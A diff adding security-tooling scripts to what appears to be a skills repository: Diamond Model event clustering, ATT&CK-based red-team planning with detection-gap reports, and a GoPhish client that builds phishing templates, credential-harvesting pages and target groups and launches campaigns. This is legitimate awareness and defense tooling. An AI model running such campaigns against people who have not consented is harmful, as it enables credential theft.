b/skills/executing-diamond-model-analysis/references/api-reference.md @@ -0,0 +1,73 @@ +# API Reference: Diamond Model Analysis Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| Python stdlib | 3.8+ | json, dataclasses, hashlib, argparse | + +## CLI Usage + +```bash +python scripts/agent.py \ + --input events.json \ + --output diamond_report.json \ + --pivot-type infrastructure \ + --pivot-value "185.220.101.42" +``` + +## Input Format + +```json +[ + { + "event_id": "EVT-001", + "timestamp": "2025-01-15T14:30:00Z", + "adversary": ["APT29"], + "adversary_confidence": "high", + "capabilities": ["SUNBURST", "T1071.001"], + "infrastructure": ["185.220.101.42", "evil-redir.com"], + "victims": ["TargetCorp"], + "phase": "C2", + "result": "success" + } +] +``` + +## Functions + +### `create_event(event_data) -> DiamondEvent` +Constructs a `DiamondEvent` dataclass from raw dict. Auto-generates `event_id` via MD5 if not provided. + +### `pivot_on_vertex(events, vertex_type, value) -> list` +Returns events sharing a specified vertex value. Supports pivoting on `adversary`, `capability`, `infrastructure`, `victim`. + +### `cluster_events(events) -> dict` +Groups events by shared infrastructure or capability values. Returns clusters with overlapping event IDs. + +### `build_activity_thread(events) -> list` +Sorts events chronologically and assigns sequence numbers for timeline reconstruction. + +### `generate_report(events) -> dict` +Produces the full Diamond Model report with unique entities, activity thread, and clusters. + +## Data Classes + +### `Vertex` +Fields: `vertex_type` (str), `values` (list), `confidence` (str), `notes` (str) + +### `DiamondEvent` +Fields: `event_id`, `timestamp`, `adversary` (Vertex), `capability` (Vertex), `infrastructure` (Vertex), `victim` (Vertex), `phase`, `direction`, `result` + +## Output Schema + +```json +{ + "report_date": "ISO-8601", + "total_events": 5, + "unique_adversaries": ["APT29"], + "unique_infrastructure": ["185.220.101.42"], + "activity_thread": [{"sequence": 1, "event_id": "EVT-001", ...}], + "clusters": {"clusters": [...], "total_events": 5} +} +``` diff --git a/skills/executing-diamond-model-analysis/scripts/agent.py b/skills/executing-diamond-model-analysis/scripts/agent.py new file mode 100644 index 00000000..2c9a6f9e --- /dev/null +++ b/skills/executing-diamond-model-analysis/scripts/agent.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python3 +"""Diamond Model intrusion analysis agent for structuring adversary activity.""" + +import argparse +import json +import hashlib +import logging +from datetime import datetime +from dataclasses import dataclass, field, asdict +from typing import List, Optional + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +@dataclass +class Vertex: + vertex_type: str + values: List[str] = field(default_factory=list) + confidence: str = "medium" + notes: str = "" + + +@dataclass +class DiamondEvent: + event_id: str + timestamp: str + adversary: Vertex + capability: Vertex + infrastructure: Vertex + victim: Vertex + phase: str = "" + direction: str = "external-to-internal" + result: str = "success" + meta_notes: str = "" + + +def create_event(event_data: dict) -> DiamondEvent: + """Build a DiamondEvent from a raw dict of incident data.""" + return DiamondEvent( + event_id=event_data.get("event_id", hashlib.md5( + json.dumps(event_data, sort_keys=True).encode() + ).hexdigest()[:8]), + timestamp=event_data.get("timestamp", datetime.utcnow().isoformat()), + adversary=Vertex( + vertex_type="adversary", + values=event_data.get("adversary", []), + confidence=event_data.get("adversary_confidence", "medium"), + ), + capability=Vertex( + vertex_type="capability", + values=event_data.get("capabilities", []), + ), + infrastructure=Vertex( + vertex_type="infrastructure", + values=event_data.get("infrastructure", []), + ), + victim=Vertex( + vertex_type="victim", + values=event_data.get("victims", []), + ), + phase=event_data.get("phase", ""), + direction=event_data.get("direction", "external-to-internal"), + result=event_data.get("result", "success"), + ) + + +def pivot_on_vertex(events: List[DiamondEvent], vertex_type: str, value: str) -> List[DiamondEvent]: + """Pivot across events sharing a common vertex value.""" + matches = [] + for event in events: + vertex = getattr(event, vertex_type, None) + if vertex and value in vertex.values: + matches.append(event) + logger.info("Pivot on %s='%s' returned %d events", vertex_type, value, len(matches)) + return matches + + +def cluster_events(events: List[DiamondEvent]) -> dict: + """Cluster events by shared infrastructure and capability vertices.""" + infra_map = {} + cap_map = {} + for event in events: + for val in event.infrastructure.values: + infra_map.setdefault(val, []).append(event.event_id) + for val in event.capability.values: + cap_map.setdefault(val, []).append(event.event_id) + + clusters = [] + for key, eids in infra_map.items(): + if len(eids) > 1: + clusters.append({"pivot": "infrastructure", "value": key, "event_ids": eids}) + for key, eids in cap_map.items(): + if len(eids) > 1: + clusters.append({"pivot": "capability", "value": key, "event_ids": eids}) + return {"clusters": clusters, "total_events": len(events)} + + +def build_activity_thread(events: List[DiamondEvent]) -> List[dict]: + """Order events into a time-sorted activity thread.""" + sorted_events = sorted(events, key=lambda e: e.timestamp) + thread = [] + for idx, event in enumerate(sorted_events): + thread.append({ + "sequence": idx + 1, + "event_id": event.event_id, + "timestamp": event.timestamp, + "phase": event.phase, + "adversary": event.adversary.values, + "capability": event.capability.values, + "infrastructure": event.infrastructure.values, + "victim": event.victim.values, + "result": event.result, + }) + return thread + + +def generate_report(events: List[DiamondEvent]) -> dict: + """Generate a complete Diamond Model analysis report.""" + clusters = cluster_events(events) + thread = build_activity_thread(events) + + all_adversaries = set() + all_infra = set() + all_caps = set() + for e in events: + all_adversaries.update(e.adversary.values) + all_infra.update(e.infrastructure.values) + all_caps.update(e.capability.values) + + return { + "report_date": datetime.utcnow().isoformat(), + "total_events": len(events), + "unique_adversaries": sorted(all_adversaries), + "unique_infrastructure": sorted(all_infra), + "unique_capabilities": sorted(all_caps), + "activity_thread": thread, + "clusters": clusters, + } + + +def load_events_from_file(filepath: str) -> List[DiamondEvent]: + """Load raw event data from a JSON file.""" + with open(filepath) as f: + raw = json.load(f) + events_data = raw if isinstance(raw, list) else raw.get("events", []) + return [create_event(e) for e in events_data] + + +def main(): + parser = argparse.ArgumentParser(description="Diamond Model Analysis Agent") + parser.add_argument("--input", required=True, help="JSON file with raw event data") + parser.add_argument("--output", default="diamond_report.json", help="Output report path") + parser.add_argument("--pivot-type", choices=["adversary", "capability", "infrastructure", "victim"]) + parser.add_argument("--pivot-value", help="Value to pivot on") + args = parser.parse_args() + + events = load_events_from_file(args.input) + logger.info("Loaded %d Diamond events", len(events)) + + if args.pivot_type and args.pivot_value: + events = pivot_on_vertex(events, args.pivot_type, args.pivot_value) + + report = generate_report(events) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Diamond Model report saved to %s", args.output) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/executing-phishing-simulation-campaign/LICENSE b/skills/executing-phishing-simulation-campaign/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/executing-phishing-simulation-campaign/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/executing-phishing-simulation-campaign/references/api-reference.md b/skills/executing-phishing-simulation-campaign/references/api-reference.md new file mode 100644 index 00000000..fbee18fa --- /dev/null +++ b/skills/executing-phishing-simulation-campaign/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Phishing Simulation Campaign Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP client for GoPhish REST API | + +## CLI Usage + +```bash +# List campaigns +python scripts/agent.py --gophish-url https://gophish.lab:3333 --api-key KEY --action list + +# Get campaign results +python scripts/agent.py --gophish-url https://gophish.lab:3333 --api-key KEY \ + --action results --campaign-id 1 --output report.json +``` + +## GoPhishClient Class + +### `__init__(base_url, api_key, verify_ssl=False)` +Initializes the session with Bearer token auth for the GoPhish API. + +### `create_sending_profile(name, smtp_from, host, username, password) -> dict` +Creates an SMTP sending profile. GoPhish API: `POST /api/smtp/`. + +### `create_email_template(name, subject, html_body, text_body) -> dict` +Creates a phishing email template with credential capture enabled. API: `POST /api/templates/`. + +### `create_landing_page(name, html, capture_creds, redirect_url) -> dict` +Creates a credential harvesting page. API: `POST /api/pages/`. + +### `import_targets(group_name, targets) -> dict` +Imports a target list as a GoPhish group. Each target: `{email, first_name, last_name, position}`. + +### `launch_campaign(name, template_id, page_id, smtp_id, group_ids, url) -> dict` +Launches a phishing campaign. API: `POST /api/campaigns/`. + +### `get_campaign_results(campaign_id) -> dict` +Fetches campaign timeline and per-target results. API: `GET /api/campaigns/{id}/results`. + +## `compute_metrics(results) -> dict` +Calculates click rate, submission rate, and report rate from campaign timeline events. + +## GoPhish API Endpoints + +| Endpoint | Method | Purpose | +|----------|--------|---------| +| `/api/campaigns/` | GET/POST | List or create campaigns | +| `/api/campaigns/{id}/results` | GET | Campaign results with timeline | +| `/api/templates/` | POST | Create email templates | +| `/api/pages/` | POST | Create landing pages | +| `/api/smtp/` | POST | Create SMTP profiles | +| `/api/groups/` | POST | Create target groups | diff --git a/skills/executing-phishing-simulation-campaign/scripts/agent.py b/skills/executing-phishing-simulation-campaign/scripts/agent.py new file mode 100644 index 00000000..56b1d912 --- /dev/null +++ b/skills/executing-phishing-simulation-campaign/scripts/agent.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""Phishing simulation campaign agent using requests to interact with GoPhish API.""" + +import argparse +import json +import logging +import sys +from datetime import datetime +from typing import Optional + +try: + import requests +except ImportError: + sys.exit("requests is required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +class GoPhishClient: + """Client for the GoPhish REST API.""" + + def __init__(self, base_url: str, api_key: str, verify_ssl: bool = False): + self.base_url = base_url.rstrip("/") + self.session = requests.Session() + self.session.headers.update({"Authorization": f"Bearer {api_key}"}) + self.session.verify = verify_ssl + + def _get(self, endpoint: str) -> dict: + resp = self.session.get(f"{self.base_url}/api/{endpoint}") + resp.raise_for_status() + return resp.json() + + def _post(self, endpoint: str, data: dict) -> dict: + resp = self.session.post(f"{self.base_url}/api/{endpoint}", json=data) + resp.raise_for_status() + return resp.json() + + def create_sending_profile(self, name: str, smtp_from: str, host: str, + username: str, password: str) -> dict: + """Create an SMTP sending profile.""" + payload = { + "name": name, + "from_address": smtp_from, + "host": host, + "username": username, + "password": password, + "ignore_cert_errors": True, + } + result = self._post("smtp/", payload) + logger.info("Created sending profile: %s (id=%s)", name, result.get("id")) + return result + + def create_email_template(self, name: str, subject: str, html_body: str, + text_body: str = "") -> dict: + """Create a phishing email template with tracking.""" + payload = { + "name": name, + "subject": subject, + "html": html_body, + "text": text_body, + "capture_credentials": True, + "capture_passwords": True, + } + result = self._post("templates/", payload) + logger.info("Created email template: %s (id=%s)", name, result.get("id")) + return result + + def create_landing_page(self, name: str, html: str, capture_creds: bool = True, + redirect_url: str = "") -> dict: + """Create a credential harvesting landing page.""" + payload = { + "name": name, + "html": html, + "capture_credentials": capture_creds, + "capture_passwords": True, + "redirect_url": redirect_url, + } + result = self._post("pages/", payload) + logger.info("Created landing page: %s (id=%s)", name, result.get("id")) + return result + + def import_targets(self, group_name: str, targets: list) -> dict: + """Import target email list as a user group.""" + payload = { + "name": group_name, + "targets": [{"email": t["email"], "first_name": t.get("first_name", ""), + "last_name": t.get("last_name", ""), "position": t.get("position", "")} + for t in targets], + } + result = self._post("groups/", payload) + logger.info("Created target group '%s' with %d targets", group_name, len(targets)) + return result + + def launch_campaign(self, name: str, template_id: int, page_id: int, + smtp_id: int, group_ids: list, url: str) -> dict: + """Launch the phishing campaign.""" + payload = { + "name": name, + "template": {"id": template_id}, + "page": {"id": page_id}, + "smtp": {"id": smtp_id}, + "groups": [{"id": gid} for gid in group_ids], + "url": url, + "launch_date": datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%S+00:00"), + } + result = self._post("campaigns/", payload) + logger.info("Launched campaign '%s' (id=%s)", name, result.get("id")) + return result + + def get_campaign_results(self, campaign_id: int) -> dict: + """Retrieve campaign results and metrics.""" + return self._get(f"campaigns/{campaign_id}/results") + + def get_campaign_summary(self, campaign_id: int) -> dict: + """Get summary statistics for a campaign.""" + result = self._get(f"campaigns/{campaign_id}/summary") + return result + + def list_campaigns(self) -> list: + """List all campaigns.""" + return self._get("campaigns/") + + +def compute_metrics(results: dict) -> dict: + """Compute phishing simulation success metrics from campaign results.""" + timeline = results.get("timeline", []) + total = results.get("stats", {}).get("total", 0) + sent = sum(1 for e in timeline if e.get("message") == "Email Sent") + opened = sum(1 for e in timeline if e.get("message") == "Email Opened") + clicked = sum(1 for e in timeline if e.get("message") == "Clicked Link") + submitted = sum(1 for e in timeline if e.get("message") == "Submitted Data") + reported = sum(1 for e in timeline if e.get("message") == "Email Reported") + + return { + "total_targets": total, + "emails_sent": sent, + "emails_opened": opened, + "links_clicked": clicked, + "credentials_submitted": submitted, + "reported_to_it": reported, + "click_rate": f"{(clicked / total * 100):.1f}%" if total else "0%", + "submission_rate": f"{(submitted / total * 100):.1f}%" if total else "0%", + "report_rate": f"{(reported / total * 100):.1f}%" if total else "0%", + } + + +def main(): + parser = argparse.ArgumentParser(description="Phishing Simulation Campaign Agent") + parser.add_argument("--gophish-url", required=True, help="GoPhish server URL") + parser.add_argument("--api-key", required=True, help="GoPhish API key") + parser.add_argument("--action", choices=["launch", "results", "list"], default="list") + parser.add_argument("--campaign-id", type=int, help="Campaign ID for results") + parser.add_argument("--output", default="phishing_report.json") + args = parser.parse_args() + + client = GoPhishClient(args.gophish_url, args.api_key) + + if args.action == "list": + campaigns = client.list_campaigns() + print(json.dumps(campaigns, indent=2, default=str)) + elif args.action == "results" and args.campaign_id: + results = client.get_campaign_results(args.campaign_id) + metrics = compute_metrics(results) + with open(args.output, "w") as f: + json.dump(metrics, f, indent=2) + logger.info("Metrics saved to %s", args.output) + print(json.dumps(metrics, indent=2)) + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/executing-red-team-engagement-planning/LICENSE b/skills/executing-red-team-engagement-planning/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/executing-red-team-engagement-planning/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/executing-red-team-exercise/LICENSE b/skills/executing-red-team-exercise/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/executing-red-team-exercise/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/executing-red-team-exercise/references/api-reference.md b/skills/executing-red-team-exercise/references/api-reference.md new file mode 100644 index 00000000..78b696de --- /dev/null +++ b/skills/executing-red-team-exercise/references/api-reference.md @@ -0,0 +1,48 @@ +# API Reference: Red Team Exercise Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | Download MITRE ATT&CK STIX data | + +## CLI Usage + +```bash +python scripts/agent.py \ + --actor "APT29" \ + --target "Retail Corp" \ + --objectives "Access POS data" "Exfiltrate cardholder data" \ + --output redteam_plan.json +``` + +## Functions + +### `load_attack_techniques(cache_file) -> dict` +Downloads or loads cached MITRE ATT&CK Enterprise STIX bundle from GitHub (`mitre/cti`). + +### `get_actor_techniques(attack_data, actor_name) -> list` +Resolves intrusion-set by name, follows `uses` relationships to collect `attack-pattern` objects. Returns list of `{id, name, tactic}`. + +### `build_operation_plan(actor_name, target, objectives, attack_data) -> RedTeamOperation` +Creates a full operation plan with technique list mapped from the emulated actor's known TTPs. + +### `log_technique_execution(op, technique_id, detected, notes)` +Updates a technique's status to `executed`, records detection boolean and timestamp. + +### `generate_detection_gap_report(op) -> dict` +Compares executed vs. detected techniques. Outputs detection rate and missed technique recommendations. + +## Data Classes + +### `TechniqueExecution` +- `technique_id`, `technique_name`, `tactic`, `timestamp`, `status`, `detected`, `detection_time`, `notes` + +### `RedTeamOperation` +- `operation_name`, `target_org`, `emulated_actor`, `start_date`, `objectives`, `techniques` + +## MITRE ATT&CK Data Source + +- URL: `https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json` +- Format: STIX 2.0 bundle with `intrusion-set`, `attack-pattern`, and `relationship` objects +- Locally cached as `attack_enterprise.json` after first download diff --git a/skills/executing-red-team-exercise/scripts/agent.py b/skills/executing-red-team-exercise/scripts/agent.py new file mode 100644 index 00000000..507cb96c --- /dev/null +++ b/skills/executing-red-team-exercise/scripts/agent.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""Red team exercise planning and ATT&CK technique tracking agent.""" + +import argparse +import json +import logging +from datetime import datetime +from dataclasses import dataclass, field, asdict +from typing import List, Optional + +try: + import requests +except ImportError: + import sys; sys.exit("requests is required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +MITRE_ATTACK_URL = "https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json" + + +@dataclass +class TechniqueExecution: + technique_id: str + technique_name: str + tactic: str + timestamp: str = "" + status: str = "planned" + detected: bool = False + detection_time: str = "" + notes: str = "" + + +@dataclass +class RedTeamOperation: + operation_name: str + target_org: str + emulated_actor: str + start_date: str + objectives: List[str] = field(default_factory=list) + techniques: List[TechniqueExecution] = field(default_factory=list) + + +def load_attack_techniques(cache_file: str = "attack_enterprise.json") -> dict: + """Load MITRE ATT&CK Enterprise techniques from local cache or upstream.""" + import os + if os.path.exists(cache_file): + with open(cache_file) as f: + return json.load(f) + logger.info("Downloading ATT&CK Enterprise data...") + resp = requests.get(MITRE_ATTACK_URL, timeout=60) + resp.raise_for_status() + data = resp.json() + with open(cache_file, "w") as f: + json.dump(data, f) + return data + + +def get_actor_techniques(attack_data: dict, actor_name: str) -> List[dict]: + """Extract techniques used by a specific threat actor from ATT&CK data.""" + actor_id = None + for obj in attack_data.get("objects", []): + if obj.get("type") == "intrusion-set" and actor_name.lower() in obj.get("name", "").lower(): + actor_id = obj["id"] + break + + if not actor_id: + logger.warning("Actor '%s' not found in ATT&CK data", actor_name) + return [] + + technique_refs = set() + for obj in attack_data.get("objects", []): + if obj.get("type") == "relationship" and obj.get("source_ref") == actor_id: + if obj.get("relationship_type") == "uses": + technique_refs.add(obj["target_ref"]) + + techniques = [] + for obj in attack_data.get("objects", []): + if obj.get("id") in technique_refs and obj.get("type") == "attack-pattern": + ext_refs = obj.get("external_references", []) + tech_id = next((r["external_id"] for r in ext_refs if r.get("source_name") == "mitre-attack"), "") + kill_chain = obj.get("kill_chain_phases", [{}]) + tactic = kill_chain[0].get("phase_name", "") if kill_chain else "" + techniques.append({"id": tech_id, "name": obj["name"], "tactic": tactic}) + + logger.info("Found %d techniques for actor '%s'", len(techniques), actor_name) + return techniques + + +def build_operation_plan(actor_name: str, target: str, objectives: List[str], + attack_data: dict) -> RedTeamOperation: + """Create a red team operation plan based on emulated threat actor TTPs.""" + techniques = get_actor_techniques(attack_data, actor_name) + executions = [ + TechniqueExecution( + technique_id=t["id"], technique_name=t["name"], + tactic=t["tactic"], status="planned", + ) + for t in techniques + ] + return RedTeamOperation( + operation_name=f"{actor_name} Emulation - {target}", + target_org=target, emulated_actor=actor_name, + start_date=datetime.utcnow().isoformat(), + objectives=objectives, techniques=executions, + ) + + +def log_technique_execution(op: RedTeamOperation, technique_id: str, + detected: bool = False, notes: str = "") -> None: + """Mark a technique as executed and record detection status.""" + for tech in op.techniques: + if tech.technique_id == technique_id: + tech.status = "executed" + tech.timestamp = datetime.utcnow().isoformat() + tech.detected = detected + if detected: + tech.detection_time = datetime.utcnow().isoformat() + tech.notes = notes + logger.info("Technique %s executed (detected=%s)", technique_id, detected) + return + logger.warning("Technique %s not found in operation plan", technique_id) + + +def generate_detection_gap_report(op: RedTeamOperation) -> dict: + """Produce a detection gap analysis comparing executed vs detected techniques.""" + executed = [t for t in op.techniques if t.status == "executed"] + detected = [t for t in executed if t.detected] + missed = [t for t in executed if not t.detected] + + return { + "operation": op.operation_name, + "emulated_actor": op.emulated_actor, + "total_techniques_planned": len(op.techniques), + "techniques_executed": len(executed), + "techniques_detected": len(detected), + "techniques_missed": len(missed), + "detection_rate": f"{len(detected)/len(executed)*100:.1f}%" if executed else "N/A", + "detected_list": [asdict(t) for t in detected], + "missed_list": [asdict(t) for t in missed], + "recommendations": [ + f"Improve detection for {t.technique_id} ({t.technique_name})" + for t in missed + ], + } + + +def main(): + parser = argparse.ArgumentParser(description="Red Team Exercise Agent") + parser.add_argument("--actor", required=True, help="Threat actor to emulate (e.g., APT29)") + parser.add_argument("--target", required=True, help="Target organization name") + parser.add_argument("--objectives", nargs="+", default=["Demonstrate domain compromise"]) + parser.add_argument("--output", default="redteam_plan.json") + args = parser.parse_args() + + attack_data = load_attack_techniques() + op = build_operation_plan(args.actor, args.target, args.objectives, attack_data) + report = { + "operation": asdict(op), + "technique_count": len(op.techniques), + "tactics_covered": list(set(t.tactic for t in op.techniques if t.tactic)), + } + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Operation plan saved to %s", args.output) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-active-directory-certificate-services-esc1/LICENSE b/skills/exploiting-active-directory-certificate-services-esc1/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-active-directory-certificate-services-esc1/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-active-directory-with-bloodhound/LICENSE b/skills/exploiting-active-directory-with-bloodhound/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-active-directory-with-bloodhound/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-api-injection-vulnerabilities/LICENSE b/skills/exploiting-api-injection-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-api-injection-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-bgp-hijacking-vulnerabilities/LICENSE b/skills/exploiting-bgp-hijacking-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-bgp-hijacking-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-bgp-hijacking-vulnerabilities/references/api-reference.md b/skills/exploiting-bgp-hijacking-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..8bc84367 --- /dev/null +++ b/skills/exploiting-bgp-hijacking-vulnerabilities/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: BGP Hijacking Assessment Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP client for RIPEstat API queries | + +## CLI Usage + +```bash +# Full ASN assessment +python scripts/agent.py --asn 12345 --output bgp_report.json + +# Check a specific prefix +python 